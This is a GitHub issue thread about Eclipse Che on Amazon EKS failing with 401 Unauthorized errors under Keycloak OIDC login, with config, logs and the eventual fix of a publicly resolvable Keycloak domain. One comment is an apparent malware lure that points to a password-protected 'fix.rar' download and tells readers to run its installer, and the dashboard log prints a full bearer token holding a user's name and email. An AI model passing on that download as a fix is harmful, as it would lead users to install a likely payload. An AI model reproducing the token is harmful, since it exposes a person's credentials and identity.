che Cannot create workspace. Authorization issue.

Describe the bug

I deployed che on EKS and used keycloak as OIDC IdP. Can successfully setup all che components log in to che dashboard. However, after login it show the errors:

Failed to fetch available workspaces, reason: Failed to fetch the list of devWorkspaces. Unable to list devworkspaces: Unauthorized
Failed to fetch the user profile data. Unable to get user profile data: Unauthorized

I aslo tried to create a empty workspace. I get this error: "Unable to create devworkspace: Unauthorized"

Here is the checluster custom resource config

apiVersion: org.eclipse.che/v2
metadata:
  name: eclipse-che
  namespace: eclipse-che
spec:
  networking:
    auth:
      oAuthClientName: kubernetes
      oAuthSecret: xxx
      identityProviderURL: https://<keycloak-url>/realms/che
    domain: che.<che-url>.com
    tlsSecretName: che.tls
  components:
    cheServer:
      extraProperties:
        CHE_OIDC_AUTH__SERVER__URL: https://<keycloak-url>/realms/che
        CHE_OIDC_USERNAME__CLAIM: email

I also setup eks with oidc.

che-dashboard's log

Validating devfile
Devfile is valid with schema version 2.2.0
DevWorkspace che-code-empty-axri was generated
ERROR [15:26:29 UTC]: HTTP request failed
    err: {
      "type": "HttpError",
      "message": "HTTP request failed",
      "stack":
          HttpError: HTTP request failed
              at Request._callback (/backend/node_modules/@kubernetes/client-node/dist/gen/api/customObjectsApi.js:268:36)
              at self.callback (/backend/node_modules/request/request.js:185:22)
              at Request.emit (node:events:517:28)
              at Request.<anonymous> (/backend/node_modules/request/request.js:1154:10)
              at Request.emit (node:events:517:28)
              at IncomingMessage.<anonymous> (/backend/node_modules/request/request.js:1076:12)
              at Object.onceWrapper (node:events:631:28)
              at IncomingMessage.emit (node:events:529:35)
              at endReadableNT (node:internal/streams/readable:1400:12)
              at process.processTicksAndRejections (node:internal/process/task_queues:82:21)
      "response": {
        "statusCode": 401,
        "body": {
          "kind": "Status",
          "apiVersion": "v1",
          "metadata": {},
          "status": "Failure",
          "message": "Unauthorized",
          "reason": "Unauthorized",
          "code": 401
        },
        "headers": {
          "audit-id": "c7fa9d68-4eee-45e9-9364-a5034544533c",
          "cache-control": "no-cache, private",
          "content-type": "application/json",
          "date": "Mon, 26 Aug 2024 15:26:28 GMT",
          "content-length": "129",
          "connection": "close"
        },
        "request": {
          "uri": {
            "protocol": "https:",
            "slashes": true,
            "auth": null,
            "host": "172.20.0.1:443",
            "port": "443",
            "hostname": "172.20.0.1",
            "hash": null,
            "search": null,
            "query": null,
            "pathname": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "path": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "href": "https://172.20.0.1:443/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces"
          },
          "method": "POST",
          "headers": {
            "Accept": "application/json",
            "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJWbmtFMkd3ZnhBZDNsY3hYUlZvaFQ2dWEwY1NqTGdWZUhkTGRLTjRHLUVNIn0.eyJleHAiOjE3MjQ2ODYwMjMsImlhdCI6MTcyNDY4NTcyMywiYXV0aF90aW1lIjoxNzI0Njg1NzIzLCJqdGkiOiJiNDNlZWZhOS01MDk0LTRlZWMtYjk1OC0wM2IxZmMxZmUzYzkiLCJpc3MiOiJodHRwczovL2Rzb2NoZWtleWNsb2FrLnN0ZW5nZ2Nsb3VkLmNvbS9yZWFsbXMvY2hlIiwiYXVkIjoia3ViZXJuZXRlcyIsInN1YiI6IjJmMGFlNThlLWI1MDktNDhkMy05NzUyLWU0YjRlY2EyZDE3YSIsInR5cCI6IklEIiwiYXpwIjoia3ViZXJuZXRlcyIsInNpZCI6IjNhNTJlNjg0LWU4MzMtNDg3MC04ZmYxLTY5YmU3MDhkYTk0ZiIsImF0X2hhc2giOiJESnRnUWF0MUlEcTNJVFRHZ3I1bXp3IiwiYWNyIjoiMSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJuYW1lIjoiSHVvbmcgTmd1eWVuIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiY2hlLXVzZXIiLCJnaXZlbl9uYW1lIjoiSHVvbmciLCJmYW1pbHlfbmFtZSI6Ik5ndXllbiIsImVtYWlsIjoibGV0aGllbmh1b25nLm5ndXllbkBzdGVuZ2cuY29tIn0.DO-KoaXKeW4Vp_LXlaBFnt8RjEthEFrEnnU81rn1k7777j2Xch6npBfQRIKC2cxcy6LpyeJ9VotpOTZB9k8BFsG99CJufVcBB3dUiU1bzFG7Gdnsod4tqnoilKraOy0AZhww2ITAoZcZoID3fzH0yppVS1BAaebMZLHCaSdYBcZEnCJLIToySD7ev-IRxPsD6wlEhpE1Bq-X0nHcASfzpILIRe8Y5MxrqSkevGz3_E_wa6VGK5itvifDjC4kbujTpNTT_BFgNh48zCfRPF0BIXAuuBvRjRTvmWPddsbYgvqUNycGbCHSvbPpCKhPxVNb5HcyHIKvHMk_C94dimwXkA",
            "content-type": "application/json",
            "content-length": 1692
          }
        }
      },
      "body": {
        "type": "Object",
        "message": "Unauthorized",
        "stack":
        "kind": "Status",
        "apiVersion": "v1",
        "metadata": {},
        "status": "Failure",
        "reason": "Unauthorized",
        "code": 401
      },
      "statusCode": 401,
      "name": "HttpError"
    }

che-gateway oauth-proxy's log

10.192.78.48:45608 - 51c3b4581fa6003bc11dd3d43dac8de0 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 964 0.003
10.192.78.48:45608 - 0416a8b42cd56c747ccacccd7ac6496d - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/service-worker.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 63 0.002
10.192.78.48:45608 - 8b36a7d84b7eda13e9995eae78055759 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/api/server-config" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 992 0.016
10.192.78.48:45608 - 38eeb21f3c24cac9bcae85200d40ff40 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com POST / "/api/kubernetes/namespace/provision" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 103 0.850
10.192.78.48:45608 - dc793cfdb2ab29c3b4d37cabe3ce696a - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/assets/branding/product.json" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 3 0.005
10.192.78.48:45632 - 1676000131b67ad11fd58df18b78cf3a - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/cluster-info" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 19 0.005
10.192.78.48:45624 - ecb6e1c57888e47bd87ccc0c932bc37b - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/api/kubernetes/namespace" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 86 0.019
10.192.78.48:45624 - 9334579713510f202e62789be0e014ed - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com OPTIONS / "/api/" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 184 0.005
10.192.78.48:45624 - 488eacb935d775756283d873fae3e9be - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/editors" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 35947 0.075
10.192.78.48:45678 - fba2a684d3081907c77afcb6fb65ca32 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/cluster-config" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 74 0.077
10.192.78.48:45688 - 9118ea8278bbd823cf6e7467b8afc136 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/getting-started-sample" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 2 0.077
10.192.78.48:45688 - 800aaf92b3e65c1321105790bba34a41 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/devfile-registry/devfiles/index.json" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 16056 0.004
10.192.78.48:45688 - 36441ce0f240f91f70bc3b31be30c70e - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/service-worker.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 63 0.003
10.192.78.48:45644 - 926dd1c3af688f8c84dd794ad68bb7d9 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/pods" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 88 5.133
10.192.78.48:45632 - b8a4cf5bcd3cc37f45ddc357b05efa56 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/ssh-key" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 154 5.161
10.192.78.48:45608 - 7d6609be4c9b94e93646624083620849 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/events" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 89 5.176
10.192.78.48:45650 - 3f73f6b33c4a0985e3b224549270713c - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/userprofile/lethienhuong-nguyen-xxx-com-che-0tv1zl" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 99 5.172
10.192.78.48:45662 - 3194d08f0e9c9d7a191cdbf0f6b5baad - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/devworkspaces" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 96 5.175
10.192.78.48:45662 - 93aede10628d05edc9c87860ba0324f4 - [email protected] [2024/08/26 15:26:22] che.xxx-devcheworkspaces.com GET / "/dashboard/353.870a7cdf.css" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 2289 0.003
10.192.78.48:45650 - 4e5673316210b8853087110e54fc42b4 - [email protected] [2024/08/26 15:26:22] che.xxx-devcheworkspaces.com GET / "/dashboard/353.6c476b02ed5091166d73.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 65214 0.003
10.192.78.48:45650 - c21da0d90750285785475c0567adcb22 - [email protected] [2024/08/26 15:26:24] che.xxx-devcheworkspaces.com POST / "/dashboard/api/devworkspace-resources" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 4156 0.010
10.192.78.48:45650 - 78d71ecc6276ea4c44f5b4a0a16046ed - [email protected] [2024/08/26 15:26:24] che.xxx-devcheworkspaces.com POST / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/devworkspaces" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 97 5.083

che-gateway kube-rbac-proxy log:

==== Deprecation Warning ======================

Insecure listen address will be removed.
Using --insecure-listen-address won't be possible!

The ability to run kube-rbac-proxy without TLS certificates will be removed.
Not using --tls-cert-file and --tls-private-key-file won't be possible!

For more information, please go to https://github.com/brancz/kube-rbac-proxy/issues/187

===============================================


I0826 14:41:50.692211       1 main.go:182] Reading config file: /etc/kube-rbac-proxy/authorization-config.yaml
I0826 14:41:50.693342       1 main.go:218] Valid token audiences:
I0826 14:41:50.693645       1 main.go:424] Listening insecurely on 0.0.0.0:8089

Observation I compared the logs when I associated eks with oidc and when I did not, the logs are the same. I think the eclipse-che did not make any request to the eks at all.

Che version

7.89

Steps to reproduce

Deploy devworkspace component
Deploy che component
Deploy che cluster custom resource (manifest file shown above)
Associate eks with the same keycloak client
Get authorization error when loging in che dashboard and when creating any workspace

Expected behavior

Should be able to create workspace. And get explain where in the log it shows that eclipse-che is authorize against the eks cluster

Runtime

other (please specify in additional context)

Screenshots

No response

Installation method

other (please specify in additional context)

Environment

Amazon

Eclipse Che Logs

show above

Additional context

Runtime: kubernetes eks Installation method: che compnent helm

Aug 26 '24 16:08 huonguyenlt

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."

Aug 26 '24 16:08 dirk-seynhaeve

"request": {
          "uri": {
            "protocol": "https:",
            "slashes": true,
            "auth": null,
            "host": "172.20.0.1:443",
            "port": "443",
            "hostname": "172.20.0.1",
            "hash": null,
            "search": null,
            "query": null,
            "pathname": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "path": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "href": "https://172.20.0.1:443/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces"
          },

this is the log from che dashboard, I want to know why hostname is set to 172.20.0.1. I think it should be set to the domain I provided in che cluster custom resource manifest file

apiVersion: org.eclipse.che/v2
metadata:
  name: eclipse-che
  namespace: eclipse-che
spec:
  networking:
    auth:
      oAuthClientName: kubernetes
      oAuthSecret: xxx
      identityProviderURL: https://<keycloak-url>/realms/che
    domain: che.<che-url>.com  <============= I think hostname should be this one, not 172.20.0.1
    tlsSecretName: che.tls
  components:
    cheServer:
      extraProperties:
        CHE_OIDC_AUTH__SERVER__URL: https://<keycloak-url>/realms/che
        CHE_OIDC_USERNAME__CLAIM: email

Aug 26 '24 19:08 huonguyenlt

@huonguyenlt

Could you have a look at this comment, I hope it will help you. https://github.com/eclipse-che/che/issues/22358#issuecomment-1635436182

Aug 27 '24 14:08 tolusha

I managed to make it work. It turns out the association between keycloak and eks was not successful. I was using a private domain that eks cannot resolve the hostname. Use domain that is publicly resolvable fix the issue

Aug 28 '24 14:08 huonguyenlt

Hello @huonguyenlt Would you be interested in writing documentation about deploying and configuring Eclipse Che on EKS ?

Aug 29 '24 07:08 tolusha

@tolusha yes I would love to. Any advice how to start?

Aug 29 '24 07:08 huonguyenlt

Please find here the similar PR about deploying and configuring Eclipse Che on AKS [1] Also we have a nice blogpost about writing docs with che [2]

[1] https://github.com/eclipse-che/che-docs/pull/2670/files [2] https://che.eclipseprojects.io/2024/08/09/@deerskindoll-writing-docs-with-che.html

Aug 29 '24 12:08 tolusha

Hi, @huonguyenlt I had the same issue as you. I saw what you did and it said "I was using a private domain that eks cannot resolve the hostname. Use a domain that is publicly resolvable to fix the issue". So you set keycloak to a public domain?

Jul 12 '25 08:07 jungchul-dev

Hi, @huonguyenlt I had the same issue as you. I saw what you did and it said "I was using a private domain that eks cannot resolve the hostname. Use a domain that is publicly resolvable to fix the issue". So you set keycloak to a public domain?

yes, make sure your keycloak is accessible from internet. You can check the EKS logs in aws log groups, it will give more insights

Jul 16 '25 01:07 huonguyenlt